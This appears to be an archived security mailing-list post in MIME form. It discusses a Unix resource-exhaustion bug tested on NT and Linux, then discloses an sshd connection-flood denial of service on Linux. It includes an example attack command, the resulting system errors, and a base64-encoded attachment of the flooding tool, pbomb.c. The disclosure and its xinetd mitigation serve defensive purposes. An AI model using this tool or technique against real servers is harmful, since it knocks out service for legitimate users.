----Boundary_(ID_h8zuzk9KSKPZ5JFBctYSrw) Content-type: text/plain; charset=us-ascii
On Jan 15, 12:02am, (Alan Cox) Automatic digest processor wrote:
> This seems to be a generic Unix bug. I brought down our SGI with that > program, and netbsd also seems to jam solid. The general vulnerability > is going to be the same on all OS's (anyone got an NT port ?) or want > to make a summary table.
Well, per your request, I compiled it in NT and gave it a shot:
Processes: NASTY.EXE, CPU: 00, PID: 97 CPU Time: 00:00:00, Memory: 1516K, Mem Delta: 0K Page Faults: 377, PF Delta: 0, VM Size: 432K Paged Pool: 10K, NP Pool: 2K, Handles: 32
I started about 150 of these, and the only problems that I ran into was some swapping while loading other applications. I leave this up to others to test, it's possible (but unlikely) that I did something wrong here. If anyone is interested, I'll send them an NT compiled version. This is the code out of the box, so we have to assume tmpnam works properly in Cygwin32, which I'm not sure if it even does, etc, etc.
> Alan
As for a side note, this program won't even run on my Linux machine here (strace included):
[~]$ ./n 0 done Bus error
.... mmap(0x12d000, 4096, PROT_READ, MAP_SHARED|MAP_FIXED, 3, 0) = 0x12d000 --- SIGBUS (Bus error) --- +++ killed by SIGBUS +++
===============================================================================
I've know of this for a LOOONG time, but never thought to say anything until now:
I have a second bug that I'd like to give some input on, regarding ssh and file descriptors. On machines without filehandle-7 applied or machines that don't run sshd out of xinetd with a reasonable (50 process or lower) limit, you can make the machine unuseable by making many simultanious connections to port 22.
Example:
badguy:[~]$ ./pbomb exboss.somewhere.net
After many connections, attempting to execute any command will result in a file table overflow, or other errors (on 2.0.33):
exboss:[~]$ w bash: fork: Try again exboss:[~]$ su su: File table overflow
You can't even telnet or ssh in anymore. :)
This was after 400 connections. When the attack is stopped, everything on the box returns to normal after a few minutes. I've only tested this against Linux machines, so I can't say if it is a SSH problem or a Linux problem. I just put sshd behind xinetd with a limit of 15 processes.
I attached the program we use to make the connections.
-- trn@flinet.com - [LwZ] - http://www.flinet.com/~trn I poured Spot remover on my dog. Now he's gone. *sniff*--Boundary_(ID_h8zuzk9KSKPZ5JFBctYSrw) Content-type: application/octet-stream; name=pbomb.c.bz2 Content-description: Data Content-disposition: attachment; filename=pbomb.c.bz2 Content-transfer-encoding: base64 X-Zm-Content-Name: pbomb.c.bz2 X-Zm-Decoding-Hint: mimencode -b -u
QlpoOTFBWSZTWW1hJ74AAJrfgHYwW3/yvzsv3g6//9/6YAKfK7s5NA8NTVPEmEaGgAABoAAM QNGjQAamqabSabSNoR6gaAAAAAAAAEJT9T1QxANGRoAAGCGI0AAACEhM1MjQMCGgAZNNMmQy GhoANBzTIyGTBDRhMEaaNGIGmTIwABBKagmjU0J5Mk0aZMkMRtIaaaNAD1GjI2pJmJASZMQH MObOx4xc26hDm1Jwg0udQihCZCSQ5RIJnUW0jyTMSEAD2KUwbUMzxjQ+CoVraAi2lEY7MKAh 4/EGWf+kxzT2VXOI5NLYGbLEVWGQyoZRXC36cVSyPoZJUDpltH7gGaiRU6BRUNMepNBFIcM4 QCoAkqn0EAJA4FTEk1FjUQcaOhYg7EftmXXbNvSQcO4tztAOswklDInXmDshLTYOQpIBXjTt XCOg7C0ZLz68+6N2rhhBoPOvmtM+sba95e56MaZOXYXeFddnEcTJCSWSqt4QUVmVqv0V0pQ3 hIC1JBwE2TiEIaBkSNk07svm/0DwU7jlegS6+Gm4F26lU8doKHDpSSVxgRPHxAYJSphspMlw hfu3sFaAd1rhCgXtmj7pGJfLfiqgOG2RmKTYJxOPd63y6uyvsWsoLD+mBEu2kLBoyP8HWYaU 5TwM0RpcE4tiYaFzXXqxsQOsW0e6wnOTRfuhzy7cZnJlYurYkoABAzsCnwlg6FEAqtfmRFzC UNwNxgpi5Rc7SA0YfzLF+vJB94hHHzck+HNceCYqR3jUZoZgMEB+5pWYoCFvhXN5zmjBpa5c 3wmNCgpymBm3QQIBMIH2d48byi2EQwvMKAkyvuDuoj0ZPGm0UdLVtbX0NuXSGwnwVVNfPVX1 P6dIIldPOs4QcedQRFzBYBbkhJjCF3Loeo2mc479D9e7KGxkHLMdjOQk4e4TzesxpcSWJGaJ N+NxJo4x6alIBxSr8sa8Q/TVEK96sMACgUwlwQ64zUxoYBZpBYqgUghdIJDP4u5IpwoSDawk 98A=
--Boundary_(ID_h8zuzk9KSKPZ5JFBctYSrw)--